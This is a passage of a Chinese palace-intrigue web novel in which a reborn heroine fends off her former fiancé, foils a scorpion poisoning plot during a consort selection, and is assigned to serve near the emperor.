自从那天婚礼闹翻,接着又出了夜里的乱子,家里就全乱了套。
楚舜卿根本管不了事,连三餐都安排不好,
前几天回来,两颊肿得老高,哭着对他说,楚念辞在宫中,挑唆姑姑欺凌她,然后一头躲威瑞轩,连家事也不管了,母亲病在床上,家里一片鸡飞狗跳……所有麻烦,归根到底,都是从楚念辞造成的。
他本来以为立功回京,等待他的是一家团聚。
既有娇妻掌家,也可与心爱女子助他一同拼那高远前程。
万万没想到最后会变成这个样。
她竟然义无反顾地选择入宫,走得那么突然,打得他措手不及,把他的人生搅得一团糟。
这几天他几次求见皇后姐姐,都被挡了回来。
但他马上安慰自己,很快就会好的,他把心思转到楚念辞身上,听说她在撷芳殿,便一直盼着她能得见……可几次打听,都没找到机会。
直到这次选秀在撷芳殿办,内医院负责给秀女诊脉,他才总算等到时机。
此刻,楚念辞被他扯进树丛里,前路也被他挡着。
她心知躲不过,深吸一口气,用力甩开他的手,理了理月白色衣裙被弄乱的褶皱。
蔺景瑞脸上挤出温和的笑:“念辞,我们去那边的宫室说话,好吗,别被别人看见。”
他在微笑,他的语气如此温柔,可楚念辞却清晰地看见他眼底浓郁的阴鸷和压抑的怒火。
她别过身,声音清冷疏离:“有什么话,就在这儿赶紧说吧,我还要去忙差事,没时间陪你闲聊。”
“好,长话短说,你为何欺负舜卿?”蔺景瑞压着火。
“呵,”楚念辞道,“我欺负她,我好端端地在撷芳殿,她自己找上门来惹事,好了,现在没工夫和你说废话,我还有事。”
蔺景瑞皱了一下眉,眼神忽然软下来,“你真就……一点情分都不念了?”
楚念辞抬眼看他,目光里只剩嘲讽:“你心里难道不清楚?”
她特意咬重了“清楚”两个字。
蔺景瑞脸色一僵,抿了抿唇:“因为舜卿?她不过是大嫂,碍不着你的位置……”
他竟然还在这个事情上纠缠。
而且他当这是什么地方?
这里是宫中,自己与外男说话都是犯忌。
“有什么话就直说,别拐弯子了,再说这一切都不重要了,”楚念辞冷冷地打断,“如今我是待选秀女,与你早已无任何关系。”
“与我无关?”蔺景瑞逼近一步,压低的声音里隐着怒火,“别忘了,你我有过婚约,你是我的妻子!”
楚念辞笑了:“婚书上写的,可不是我的名字。”
蔺景瑞被噎得说不出话,脸色难看。
半晌,他伸手抓住她的手腕,语气软下几分,带着恳求:“念辞,我不是有意伤你,你是商贾之女,做不了正妻,连妾室都勉强,娶舜卿不过是让母亲心里好过点,你就不能退一步吗?”
他顿了顿,声音更低:“我早替你打算好了,等你有了孩子,伯府里什么不是你的?我知道你进宫是赌气,只要你愿意回来,我一定想办法接你出去。”
他确实“铺好了路”。
一条让她前世走得疲惫不堪、最终丧命的路。
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楚念辞甩开他的手:“蔺景瑞,你若还有一点愧疚,还念一点情意,就别再来扰我。”
她转身要走,却被他追上拦住。
蔺景瑞阴鸷地盯着她,咬牙道:“你以为陛下会看上你?你难道想在这儿熬成白头宫女,你这是在往深宫这火坑里跳!就算再气我,也别拿自己命去赌!”
他蔺家才是真正的火坑。
楚念辞永远不会忘记,他是怎么踩着她的血往上爬,最后害得她家破人亡。
她不由蹙起双眉。
见她臻首低垂,蛾眉不展,轻抿嘴唇如海棠一般,蔺景瑞以为她犹豫,不由伸出手,温柔地用手指抚上她的脸颊,情意绵绵地说:“跟我回家,好吗?”
“我宁可做白头宫女,也不会回你身边,”她一把推开他,声音冰冷毫无起伏。
蔺景瑞却已性起,管不得那么多,就往她身上生扑。
触碰的瞬间,楚念辞指尖戒指里藏着的细针轻轻一刺。
蔺景瑞指尖一痛,猛地收回手,不由冷笑:“你真的认为这个小东西能吓着我?”
“你可以试试。”楚念辞冷冷地盯着他,“人身上有昏穴,还有痛穴,麻穴,死穴。”
蔺景瑞僵硬着不动了,但拦着他的路不肯让开。
楚念辞心思电转,不可再与他在这儿纠缠下去。
时间长了被人看见,那才是跳进黄河也洗不清。
怎么会?
若与他硬抗,说不定激得他性起自己更要遭殃。
突然间脑中一闪,对了,皇后,既是他的倚仗,也是他的软肋。
楚念辞冷冷地开口:“私会宫妃,还意图欺侮皇上的女人,若被人看见,我固然难逃一死,你也逃不掉罪责,还会连累了你皇后姐姐。”
“皇后”两个字,正踩中蔺景瑞的痛处。
他脸色骤沉,眼底怒意翻涌,像要发作的猛兽……却紧握拳头,忍住了。
果然,他慢慢退后半步,怒意散去,换上意味深长的冷笑:“你诱舜卿以功劳换你进宫,难道我没有?等选秀结束,我便以南诏功劳向陛下求你出宫,你说,陛下是看中我这个小舅子,还是你这个一文不值的女人。”
楚念辞趁他后退,转身快步离开。
走出去不远,身后传来他低低的轻笑:“我们很快会再见的,你逃不出我的手掌心。”
楚念辞咬着嘴唇,她没有回头,也不会回头。
如今想来,自己只有这次选秀的这个机会,一定要在陛下面前崭露头角。
争取引起他的注意,否则又回落回蔺景瑞的手掌心。
自己好马不吃回头草,绝不能重新回到蔺府去!
她慢慢沿着原路,回到撷芳殿,就见沈澜冰依旧站在那梅瓶旁边。
楚念辞抿了一下嘴唇,挤出一丝笑容走上去,如今已经不再是单纯地帮沈妹妹脱离险境,这件事其实也是帮自己。
第18章 心如蛇蝎
楚念辞走到沈澜冰身边,走得很急,气喘吁吁地上气不接下气。
沈澜冰笑着伸手替她挽起耳边的碎发,又扶正了那梅花簪:“老大不小了,做事还这么慌慌张张……”
看着她温柔端雅的笑脸,楚念辞那慌张紧绷的心不由慢慢沉淀下来。
为了冰儿,也为了自己。
这事儿她管定了。
只是前世,楚念辞也问过楚舜卿这件事的具体细节,可这个庶妹沉浸在被当上女内医的喜悦中,根本没心思关注这件事具体经过,所以楚念辞也不知道原因。
她只说了,因为这次选秀,太后身体抱恙,没有参与,皇后忙着,兼顾整件事的流程,也没有出现在这后院,最后这件事惊动了皇帝。
所以自己必须利用这次机会,立上一个不大不小的功劳,引起皇帝的注意。
这辈子,她必须打起十二分精神留意了!
一切细微的风吹草动都得注意。
“沈姐姐,可算找着你了,要是碰不上,我真不知道该怎么办才好呢。”一道清亮的声音从身后传来。
“沈姐姐,快一年没见了,常听母亲提起你,说愈发标致了,今日一见,果真如此。”
楚念辞闻声回头,瞧见两个姑娘正朝这儿走来。
走在前头的披着大红斗篷,内穿宫粉色滚狐毛边的箭袖袄,脚踩小蛮靴,约莫十六七岁,一张椭圆形小脸,深眉杏眼,高鼻薄唇,墨发间插一支展翅缧丝凤钗,看着英气逼人,大方爽利,顾盼神飞,让人见之忘俗。
而她身旁跟着的那位,看上去只有十四、五岁,一袭天青软银罗裙,发间别着贵重的点翠华胜,巴掌小脸,细眉柳目,胆鼻樱唇,特别是一双水盈盈的小鹿般的眼睛,让人不由心生怜惜,兼之粉腮上还有点婴儿肥,透着一股天真娇憨的稚气。
走近了,更有一股不浓不淡的薄荷香味飘来,让人闻之欲醉。
两个人都是**挑一的美人。
见楚念辞盯着的两人不眨眼地打量,澜冰笑着为她介绍。
“念辞,你怎么不记得,我跟你提过她,她就是我的手帕交,”她先指向那位穿大红斗篷的靓丽少女,“镇国公府的嫡小姐顾轻眉。”
又转向一旁天真稚气少女:“这位是白太尉孙女白芊柔。”
楚念辞心中微动……她前世听沈澜冰写信提过这件事。
沈澜冰有一个手帕交,是镇国公府的嫡小姐顾轻眉。
另一位当朝太尉白战陵的孙女,也不容小觑……
别看这两位都比自己小,她还没有傻到你年龄定尊卑。
面对高门贵女,她却也没有露出谄媚之色,从容地俯身行礼:“扬州通判之女,楚念辞见过两位姑娘。”
顾轻眉和白芊柔闻言都愣了一下。
这次选秀按理只有五品以上官员的千金才能参选,这位楚小姐的父亲官阶不够。
太尉一品大员,镇国公更是超品爵位,扬州知府五品,勉强够格,而楚念辞的父亲不过是个从五品通判。
但两人对她上下打量,谁也没露出轻视之意,只因楚念辞容貌不俗,举止得体。
在这深宫之中,容貌和举止也有进身之阶。
“沈姐姐,这位楚姐姐,真是个难得的美人。”顾轻眉嘴快地夸赞道。
“顾妹妹快别这么说,”楚念辞落落大方地提醒,“今日佼佼者众多,姐姐不可妄言。”
她没有解释,自己不参加选秀。
因为人多眼杂,何必说无谓争宠。
“这位姐姐也太小心啦。”白芊柔天真地笑起来,嘴角显现出两个梨窝。
楚念辞微笑,没有接他的话。
虽然看上去年纪最小,可楚念辞知道,在这深宫之中,可不能以外貌和年龄来断定人的无害。
最好的猎人,往往以猎物的模样出现。
上辈子,顾轻眉出事后,白芊柔入了宫,深得皇帝宠爱,还落下个天真憨直的好名声。
后来她一路升到贵妃,跟皇后分庭抗礼。
皇帝驾崩后,她更是扶持了先帝的庶子雍王登基,自己当上了圣母皇太后。
楚念辞那时只顾着忙家里的烂摊子,也没太关注她最后的结局。
但能在后宫杀出血路爬到巅峰的女人,绝不可能真是表面看起来那么单纯无害。
楚念辞心里提起了防备,脸上却半点不露。
这时,传旨太监出来叫了第一批秀女进去。
剩下的人都有些紧张。
虽然楚念辞的家世在这群贵女里算是垫底,但她已封了选侍,无需参与遴选,倒比旁人镇定些。
她轻声安慰身边的沈澜冰:“别慌,一会儿自有宫人安排,妹妹照着做便是。”
正说着,一名宫女端着托盘过来,上面摆着几只宫中的茶盏。
沈澜冰正觉得口干,顺手取了三杯,分别递给楚念辞、顾轻眉和白芊柔,笑道:“说了这半天,喝口水润润吧。”
顾轻眉笑着接过:“你还是这么体贴,陛下一定会喜欢你这样的。”
沈澜冰脸一红:“快别打趣我了……”
楚念辞心里却猛地一
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紧。
上辈子顾轻眉**,自然地注意入口之物,会不会就是这杯茶有问题?
而且怪不得沈澜冰受到牵连。
原来这杯茶,是她递给顾轻眉的。
她不动声色地将茶杯凑到鼻尖,轻轻一嗅。
茶香正常,入口甘甜,唯有一点极淡的香油气息。
尽管茶水没有毒,但她还是打起十二分的小心。
“先别喝,”她温声拦住几人,“再忍一忍,免得待会儿不便。”
沈澜冰端庄的脸上露出恍然的表情:“对对对,咱们还是忍一忍,过会儿就到咱们。”
楚念辞余光瞥向白芊柔,却见她神色如常,脸上还浮起钦佩表情:“还是楚姐姐想得周到。”
恰在这时,司礼太监出来唱名:“沈澜冰、顾轻眉、白芊柔,奉旨入内敬见陛下!”
沈澜冰忙放下茶盏,谁知白芊柔像是被吓到,忽然一个趔趄,手中的茶全泼在了顾轻眉裙子上。
“哎呀!”顾轻眉轻呼。
“对不住对不住!”白芊柔连连道歉。
顾轻眉摆摆手,弯腰擦拭。
幸好只是裙角上沾上了一点水,看不出来,不会影响面见陛下。
三个人转身准备走进撷芳殿,刚走到门口,谁知顾轻眉却突然脸色一变,捂住腿肚子:“好痛……”
话音未落,她已瘫倒在地,浑身抽搐。
“顾姐姐!”白芊柔惊呼着要上前,可是她整个人忽然颤抖了一下,站在原地,手指着顾轻眉裙边尖声惊叫起来。
只见顾轻眉裙下钻出一只手指长的毒蝎子,正飞快朝沈澜冰爬去……
“蝎子!”少女们尖叫四散。
楚念辞顾不上那么多,上前一脚踩死毒蝎子。
她迅速掀起她的裙角,只见她雪白的脚踝上,有一个发黑的小点。
趁着众人乱作一团,楚念辞偷偷从怀中取出避毒丸塞进顾轻眉口中。
随即挽起她的裤脚,低头一口一口将毒血吸出。
自己幸而早就服了避毒丸。
不然她也不敢帮她吮毒。
周围乱作一团,白芊柔抖着嗓子高声唤人:“快传御医,快啊!”
楚念辞吐掉最后一口毒血,抬眼看向白芊柔……那张天真的脸上写满惊慌与担忧,看不出一丝破绽。
可她心里清楚:前世的顾轻眉,大概就是这样中的招。
而沈澜冰也正是这样受到了牵连。
这一切的始作俑者,大约便是这个只有十五岁的少女,只是这一次,有她在,白芊柔绝不会得逞……
第19章 端木清羽亲临撷芳殿
眼下在场的,除了自己与澜冰,受害的顾轻眉,剩下的便只有她了。
楚念辞心里虽没十足把握,但所有疑点已全指向了白芊柔,九成断定就是她。
见顾轻眉脸色渐缓,气息也平稳下来,楚念辞悬着的心总算落下。
这一世,总算避过了这场致命的大劫。
只要顾轻眉安然无恙,自己和冰儿总算还有一线生机。
她眼底掠过一丝冷意,前世那位看似天真良善的“贵妃娘娘”,真是藏得够深。
真是人不可貌相,海水不可斗量。
此刻,园子里早乱作一团。
“谁过来帮帮我?”楚念辞看了眼仍虚弱的顾轻眉问。
自己一人扶不动,必须找人帮忙,可秀女们惊魂未定,有的聚在一起瑟瑟议论,有的小声啜泣,更有几个慌不择路地想往外跑,场面一时难以收拾,无人肯帮忙。
沈澜冰见状,压住心底的惊慌,走来帮忙。
目光扫过纷乱的人群,楚念辞定了定神,抬高声音道:“大家别慌,仔细脚下,即便还有毒虫,也不过是虫子,没什么可怕的,只要看见就往死里踩。”
清亮镇定的声音瞬间压过了嘈杂纷乱。
众人渐渐安定下来。
楚念辞转向沈澜冰:“冰儿,咱俩扶顾小姐到那边抱厦里,你照看一下,我这就去请岚姑姑和太医。”
沈澜冰水虽也吓得脸色发白,但被楚念辞的镇静感染,迅速稳住了心神。
她依言小心搀起顾轻眉,谨慎地留意着地面,两个朝不远处的抱厦挪去。
安置好顾轻眉,楚念辞则转身疾步去寻岚姑姑。
很快,岚姑姑便带着人匆匆赶来,一见倒在地上的竟是镇国公府的千金,顿时也慌了神,连声喊道:“快,快去请太医,再派个人到里边禀报喜公公,楚选侍你带众女离开!”
楚念辞点头带着秀女们有序地离开。
她沉着指挥,成了所有人倚靠的主心骨。
“陛下驾到……”太监的唱报声陡然响起时。
楚念辞心中一动,果然端木清羽亲自来了。
秀女们正乱哄哄地退去。
人群瞬间一静,随即不管不顾地退至道旁,齐刷刷跪倒一片。
只见一道明黄袍角衣袂翩飞地掠过。
胆子大些的秀女,目光便忍不住悄悄向上飘去……这一看,却都怔住了,眼神像是被黏住了似的,再挪不开。
楚念辞只见年轻的天子步履未停,径直朝顾轻眉所在的抱厦方向走去。
他行走带风,玄色衣袍上金色的暗纹流光般一闪。
白芊柔、沈澜冰,起初都被这突如其来的驾到惊得有些茫然,只是依着本能随众人跪下。
可当她们起身抬头,端木清羽正行经面前,不过两三丈的距离。
近得能看清他玉旒上宝石的幽光。
她们看清了,所有人都看清了,端木清羽那张如同天人般面容。
飞扬的长眉,深邃的凤眼,以及通身那种久居尊位、不容逼视的冷冽气度。
已如烙印般,猝不及防地烫进了所有偷望者的眼底心里。
园中惊惶、恐惧、忙乱,全被这股无形的威压霎时涤荡,只剩下一片屏息地、失语的震撼。
白芊柔与沈澜冰本来吓得心脏怦怦直跳。
可此刻真真切切看清了天颜,胸腔里那股躁乱反而奇异地消失了,一片空茫的寂静与安宁。
在这片寂静里。
她们忽然想起,刚还互赞容貌,忽地显得可笑极了。
什么国色天香,清艳脱俗,在这位陛下迫人的美貌面容前,都黯然失了颜色。
这样风华绝代的帝王近在眼前,几乎在场的所有秀女眼中全都露出倾慕之色……即便选不上妃嫔,哪怕能留在宫中,在他身边做个宫女,也算不枉此生了。
楚念辞安静地跪在人群里,心中也不由轻叹。
真是“一见端木误终身”。
今日见过他的秀女们,若选不上,回去怕是要碎了一地芳心。
端木清羽行至昏迷的顾轻眉身旁,脚步忽然一顿,长眉微蹙,似嗅到了一股血腥味。
“陛下当心,地上有血。”敬喜低声提醒。
端木清羽便不再上前,只站在那里静静地看着。
敬喜快步走到顾轻眉身边查看片刻,回身禀报:“陛下,顾小姐**了。”
周围鸦雀无声,众秀女大气不敢出。
楚念辞迅速抬头瞥了他一眼,注意到他如玉般莹润耀目的颊上,漆黑的长眉紧紧锁着,眼中是一种震惊、担忧与微微恶心的神色。
结合第一次见面时,他坐下时让人先垫上狐皮垫子,还有出行时,自带杯盏的行为。
都显示出他有严重的洁癖,这种洁癖会导致他厌恶一切与他人接触的行为。
楚念辞突然想到了一个不合时宜的问题。
陛下与皇后娘娘是如何行房的?
她想得嘴角不由微微上扬。
果然下一息,端木清羽皱起眉头,“朕欲呕……”他只来得及说这一句,便捂住了口鼻。
楚念辞机灵地跪前一步递上自己的薄荷香囊:“陛下,您嗅嗅,可以压下恶心眩晕。”
端木清羽正欲呵斥这个胆大包天的宫女。
忽嗅到一股沁人心脾的香气,顿时感到清爽了不少。
他不由看了楚念辞一眼,然后转身,径直走到一边凉亭中。
然后一挥手,宫人们立刻将秀女全部带离了现场。
楚念辞也跟着转身,身后却传来端木清羽的清朗声音:“你且留下。”
她松了一口气,低着头站到一边。
“传御医,并叫掖庭司的人过来。”端木清羽吩咐。
一名小太监匆匆领命而去。
约莫一炷香后,只来了一位十分年轻的太医,背着药箱慌慌张张地跪地行礼。
“怎么回事?”端木清羽面色微沉,“宫里的三位御医呢?”
小太医吓得连连磕头:“回、回陛下……章太医告病,许太医去了丞相府问诊,刘太医被蔺院使请回伯府,说是太夫人旧疾复发……”
听见这句话,楚念辞心中微微一动。
蔺院使便是蔺景瑞,知道那谢氏是生病了。
但是没想到他这么大胆。
竟敢随意调动御医回家中给她整治,且是这选秀的重要日子。
“荒唐!”端木清羽声音冷了下来,“今日选秀,宫中竟无一
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御医当值?立刻去把章太医请回来,再将蔺院使给朕传进宫,让他去丽正门下跪着。”
也难怪他动怒……选秀何等大事,三位御医竟齐齐不在,这未免太不尽职。
凭着前世的记忆,楚念辞很清楚。
这件事,蔺景瑞绝对脱不了干系。
宫里的规矩,三位御医必须轮流当值,无论什么时候,太医院都得留一位正职御医坐镇。
那些刚来的小太医,是顶不了这个缺的。
而合理安排御医轮值,正是蔺景瑞这个太医院使的分内职责。
可今天选秀这么大场合,他不仅没安排好值班,还敢把当值的刘太医叫回伯府,给他母亲谢氏看病。
这简直是错上加错。
既是**,又是私调御医,哪一条都够他喝一壶的。
小太医战战兢兢地挪到顾轻眉身边,探了探她的脉象,又看了看她小腿上已被处理过的伤口,这才回禀:“陛下,顾小姐确是中蝎毒,但幸亏毒血亦被吸出大半,性命应是无碍了。”
“既无碍,为何还不醒?”端木清羽看向仍昏迷不醒的顾轻眉,脸色好转,但脸上已经隐隐起了一层红疹子。
他语气转厉:“速将刘太医寻回,此事关乎镇国公府,不惜一切代价让顾小姐平安无事。”
顾轻眉被迅速抬到暖阁中,四下顿时安静下来。
楚念辞悄悄抬眼看向端木清羽。
即便是心怀焦急,他如星凤眸里瞧不出半点情绪,前世他其实极其看重镇国公府,一直借其势力制衡太尉。
若不是楚念辞重生一回,根本不会把这些细节联系到一处。
又等了两炷香的工夫,章太医终于匆匆赶到。
他行了礼,疾步进入内室查看。
不多时,头发花白的老御医出来回禀:“陛下放心,毒性已解,顾小姐并无性命之忧。”
“那她满脸红疹又是何故?”
“此乃毒性外发至肌表所致,按时服药,几日便可消退。”
端木清羽神色稍缓,随即开始追究缘由。
得知事发时白芊柔、沈澜冰水与楚念辞三人在场,便先唤了白芊柔问话。
谁知白芊柔还沉浸在“陛下竟亲自问我话”的恍惚中,粉唇微颤,半天没说出整句话来。
端木清羽目光一转,见楚念辞神色沉静,便点了她的名。
楚念辞上前叩首,将事情经过简洁清晰地陈述了一遍,并无添油加醋。
只说自己帮顾轻眉吮毒,省略了喂她避毒丸这件事。
她可不想太显眼,让人知道自己精通医术。
“此处主事是谁?”端木清羽问。
“是奴婢。”岚姑姑急忙跪倒,尽管脸色发白,但还是从容应对。
她悄悄抹了一把汗,若顾轻眉真出了事,她这条命恐怕也难保。
“选秀殿内竟出现剧毒之虫,你作何解释?”
岚姑姑连连磕头:“陛下明鉴,如今正值寒冬,蛇虫本就不易存活,且三日前奴婢便已命人撒上驱虫药粉,这几日更是清除亭台杂草……这毒虫出现实在蹊跷!”
“毒虫呢?”
“毒虫已死,”楚念辞从容叩首,仪态端静,“就在台阶下。”
第20章 香油与毒蝎
端木清羽目光锐利地扫了楚念辞一眼。
楚念辞始终垂眸静立,不慌不忙,不卑不亢。
见她如此镇定,端木清羽收回视线,问:“这分明是有人故意为之,你救了顾小姐,应该知道是谁下手。”
“臣女不知。”楚念辞道。
她又不傻,就自己这个身份,救人已经是勉勉强强。
还要掺和太尉和镇国公明争暗斗。
不是自己找死吗?
“无论你说什么,朕都赦你无罪,你可有话说。”端木清羽斜晲着她问道。
“臣女不知。”楚念辞恭恭敬敬回答。
端木清羽收回目光。
这女子是个精明的,知道自保。
如今看来是问不出个所以然了,他心中却存了疑,什么样的毒虫,能让人在顷刻间毒发至此?
他看了一眼敬喜。
敬喜连忙引着章太医去查看那只被踩死的毒蝎。
章太医一瞧,冷汗顿时就下来了……这并非寻常野蝎,而是太医院专门饲养、用以制毒的品种,毒性比寻常蝎子烈上数倍。
“这……这东西怎会跑到此处?”章太医声音发颤。
“它如何跑出来是一回事,”端木清羽语气平淡,“朕更想知道,它为何独独盯着顾小姐咬,而不攻击旁人。”
“此蝎嗅觉极敏,易受特殊气味吸引……”章太医嗫嚅道,额间汗下。
毒虫是太医院豢养的,保管不善跑出来,若是细细追究,他也难辞其咎。
“朕方才靠近时,曾嗅到顾小姐衣上似有香油气息。”端木清羽道。
楚念辞闻言心头微凛。
陛下竟在那样短暂的接触中便察觉了……他如此敏锐。
难怪他登基时才十四岁,可以说是个半大孩子,但仅仅三年,就能稳**。
此刻她已全然明白……那杯泼在顾轻眉裙上的茶里,掺了特制的香油。
而那毒蝎子,就在附近的草丛,闻到了香油,钻到了顾轻眉的裙子里,才是引蝎的关键。
这件事的始作俑者,是白芊柔无疑了,更厉害的是她居然还提前在自己身上抹了薄荷。
防止了毒虫爬向自己。
好好歹毒的心思。
她看一下白芊柔,只见那少女已经从震惊迷茫中回了神,迅速恢复镇静。
章太医查验剩余的茶汤,果然在其中一盏里发现了香油痕迹。
“刚刚有人指认,那杯茶是**泼的。”敬喜回禀。
端木清羽目光转向白芊柔。
白芊柔找回了声音,柔弱娇憨道:“陛下明鉴……臣女白芊柔,太尉白战陵之孙女,方才顾姐姐起身时,臣女不慎碰翻了茶盏,泼湿了她的衣裙……臣女当真不是故意的,臣女也吓坏了呀,差点泼在自己身上,陛下……”
听见“太尉孙女”四字,端木清羽凤眸几不可察地眯了眯,眼中闪过一丝冷芒,但随后脸上罩上一丝怜惜之色。
他俊眉微微蹙起,事情牵涉到太尉府与镇国公府,必须谨慎,且不宜再查下去。
无论查出哪一方使了手脚,必将掀起惊天大案。
这与自己目前维稳的想法背道而驰。
于是,端木清羽对白芊柔这番说辞,露出了然于胸的神色,温声道:“汝不必惊慌,朕心里有数。”
他又看向沈澜冰。
“臣女扬州知府之女沈澜冰,启奏陛下,”沈澜冰微微红着脸,但仍仪态从容,应答得
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体,“臣女只看见顾姐姐忽然便倒了,臣女心中惶惑,连那毒虫都没有看见。”
她虽不知今日之事是否与白芊柔有关,但听罢茶中查出的蹊跷,心中已生了疑惑。
“查。”端木清羽声音微沉,“给朕彻查清楚,是谁想在朕的眼皮底下动手脚。”
敬喜领命,即刻带人细细盘查。
不多时,一名太医院的小学徒战战兢兢地认罪,说自己前日不慎遗失了一只养来制毒的毒蝎,正在撷芳殿附近。
另有一名御膳房的小宫女哭着承认,自己误将一盏掺了香油的茶混入了呈给秀女的茶盘中。
“将二人押送掖庭,仔细审问。”端木清羽起身。
选秀尚未结束,此事却不能再拖。
敬喜唇角微抿,正欲领命,皇后身边的大宫女夏冬恰在此时前来请示。
她伏地叩首:“陛下,皇后娘娘命奴婢请示,今日突发此事,选秀是否继续?若顾小姐安然,便待她康复再续选秀,若有不虞,也需早做安排。”
“若另择吉日,朝野议论,招人猜测,”端木清羽淡淡道,“不若今日了事。”
端木清羽话音稍顿,朗声宣道:“顾轻眉无辜受害,特晋封为嘉妃,以抚镇国公府之心,白芊柔太尉贵女,本应封妃,然考虑年龄尚稚,封为玉嫔,沈澜冰温婉大方,应答得体,晋封斓贵人。”
楚念辞心想,果然皇帝起疑了,只是不知为了什么原因,暂时按下不查。
只从他对白芊柔位分的处置,明显是怀疑太尉府的,因为按照太尉府的规格,最起码也是该封妃的。
果然,白芊柔听到自己仅仅封了一个嫔位,脸上露出不甘的神色。
第21章 玉嫔的怨恨,冰儿的心动。
白芊柔不敢出言反驳,也不敢责怪陛下,只把仇恨的目光投向楚念辞。
自己此次进宫,祖父暗示过她,太尉府最大的敌人就是镇国公府,必须除掉顾轻眉,才能在后宫中站住脚跟,以后太尉府在朝堂上也会顺风顺水。
她为此计划了好久。
若不是这人在场,帮顾轻眉吮毒,自己的计划肯定已经成功了。
楚念辞会不会是知道了什么,虽然刚刚她没有揭穿自己,但这并不能表示她什么都不知道。
她若是什么都知道,把这件事捅出去,自己就完了。
白芊柔心里惶惶。
手指摸到布料上绣花,硌得她不舒服,不舒服的东西当然要丢掉,她紧紧攥起手指,最好是让她闭上嘴巴,不能再说话。
这世上,唯有**才能彻底闭上嘴巴。
玉嫔凌厉的视线射向自己,楚念辞抬头看她,却见玉嫔已淡淡垂下头,仿佛什么事都没发生。
楚念辞心中冷笑,静静地垂着头。
比起得知了真相,她不确定的惶恐,也许才更难熬。
这时,听见上方传来端木清羽的赞许之声:“撷芳殿姑姑岚翠遇事不慌,处置得宜,今升为二等掌事姑姑,调往储秀宫,负责此次秀女教引事宜。”
岚翠心中一喜,不动声色地磕头谢恩。
这入选秀女们,宫中虽已选了教引姑姑去家中教导,但只会教一些基本礼仪。
正式侍寝前,秀女会全部住在储秀宫,宫中还会派姑姑负责教导床笫之事,并协助检查身体,照顾身体,以保证侍寝前,身体康健,礼仪周全,而这些秀女们教引姑姑,比之调教小宫女,既体面又省心,打赏也多。
“撷芳殿选侍楚氏,临危施救,处置得宜,特赐号‘慧’,即日起调往御前侍奉。”
楚念辞心中一阵惊喜。
一是为自己得偿所愿。
这不涨位分,只得一个封号,其实对于她这从五品小官家的女儿是件好事,若真得了高位,反倒会成了众矢之的,**的都不知道。
如今这般,得了“慧”字封号,又调往御前,既体面又不至于太扎眼,正合她韬光养晦的打算。
二是为好友沈澜冰高兴。
她不但避开了前世的厄运,还破格封为贵人,往后宫中也有个照应。
她抬起眼,悄悄与那位年轻的帝王对视了一瞬,随即飞快地垂下目光,颊边浮起一抹恰到好处的羞涩。
端木清羽不禁微微一怔。
照理说,一个小小的选侍直视天颜,本是大不敬。
可她今日救了顾轻眉,帮他化解了一场天大的风波,便破例宽容些也无妨。
况且……那眼神清澈又灵透,聪慧又机敏。
看来自己的封号,可真是恰如其分。
前世楚念辞为助蔺景瑞升迁,曾细细揣摩过这位帝王的性子。
知道虽看重规矩,但更喜欢聪慧的人。
若是这人聪慧又有才华,更恰恰戳中他那点偏好,便能引他多看两眼。
果然,端木清羽唇角微扬,露出一抹春风拂槛般的浅笑。
白芊柔与沈澜冰早已看呆了。
怔怔望着那抹笑容,只觉他容色本就绝世,这一笑之下,心中仿佛满园的花都跟着开了。
夏冬见圣旨已下,不再多言,叩首领命:“奴婢谨遵圣旨。”
一场风波,就这样被寥寥数语定了乾坤。
众人散去后,楚念辞送沈澜冰至宫门。
沈澜冰眉梢眼角仍带着几分掩不住的喜色,楚念辞不由打趣:“冰儿一向不慕富贵、不贪权势,怎么今日入选,高兴成这样?”
沈澜冰微微脸红,却坦荡承认:“我从前是不渴求高位,只盼着嫁个这世上最好的男儿,过自在日子,可今日见了陛下,他很好……”
楚念辞暗暗咋舌。
这端木清羽果真厉害,不过一个照面,就把她这位清高自许的沈妹妹给收服了。
日后这宫里为了争宠,还不知要热闹成什么样。
可作为姐妹,她不得不提醒:“冰儿,帝心难测,深宫之中,还是谨慎为上……”
想到那个天真娇憨的玉嫔,她的眸色冷了下来,提醒道:“你以后最好注意白芊柔,她那杯茶有问题
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!”
楚念辞本想提醒她毒蝎子的事,可想到这不是说话的地方,于是只说了一半。
“原来真是那杯茶真的有古怪……”沈澜冰对楚念辞很信任,“她是顾轻眉好友,既如此,我就离她远一点……”
“怪不得,怪不得陛下只给了她嫔位,原来陛下早看出来,他那样英明聪慧,一眼就瞧出白芊柔有问题……这世间男子,再无第二人能及了。”沈澜冰脸上掠过一抹红霞。
楚念辞眨眨眼。
不料她竟然越说越痴迷了。
她也不忍再说下去,何必戳破她此刻正做着的美梦。
一旁送归的宫人已在催促。
楚念辞只好抓紧时间道:“还有件事要托付妹妹,你如今是贵人位份,按例可带一名嬷嬷、两名贴身侍女入宫,我想求妹妹帮忙,将我贴身侍女红缨接进来。”
“正好我有个贴身婢女,因母亲病重不愿入宫,”沈澜冰爽快应下,“你把地址给我,我派人去接她。”
楚念辞将乔大舅的住处告诉了她,两人这才依依惜别。
宫门缓缓合上,将一方天地隔成两处。
楚念辞转身望向深不见底的宫道,轻轻吸了口气。
这条路,她才刚刚踏上。
傍晚时分,养心殿派了两个宫女来接她们。
楚念辞带着团圆往养心殿去,团圆背着了几个包袱,吭哧吭哧地走了近半个时辰才到丽正门,又拐过几道宫墙,才望见皇帝起居的养心殿。
殿宇巍峨,碧瓦映着夕阳,红墙高耸,晚来风急,吹得殿铃,叮当作响。
匾额上“养心殿”三个鎏金大字笔力沉厚,一股庄严厚重的帝王威仪扑面而来。
楚念辞是重生之人,见过皇帝宫苑,倒不觉多么高大巍峨,团圆却已看得目瞪口呆,连呼吸都放轻了。
但见夕阳逐渐西沉,天空中竟然飘起雪花。
她正要收回目光,却忽然瞥见不远处养心殿门口跪着一道熟悉的身影……
蔺景瑞。
他挺直脊背,正一动不动地跪在宫门前,没想到冤家路窄,这么快又遇见这人。
第22章 奉茶宫女
看着他远远跪在地上的背影。
楚念辞心中毫无波澜,这都是他活该,活该来惹自己,活该招惹陛下。
那天她入宫之时就说过,从此形同陌路,井水不犯河水。
她真正想不通,自己已经都入宫了,这人还缠着自己干什么?
前世也没见过这家伙有偏执狂的征兆。
深吸一口气,楚念辞昂着头从他的旁边经过。
蔺景瑞一抬头,整个人都愣住了:“念辞?你……你怎么会在这儿?”
是了,这家伙还不知道自己已经调入养心殿。
楚念辞没应声,连看都没看他一眼,带着身边的宫女团圆就要往养心殿里走。
两人从他身旁经过时,蔺景瑞才从惊愕中回过神来。
他先是诧异,紧接着看清她那一身宫女打扮,心里像打翻了调料罐似的,酸甜苦辣咸,什么滋味都有。
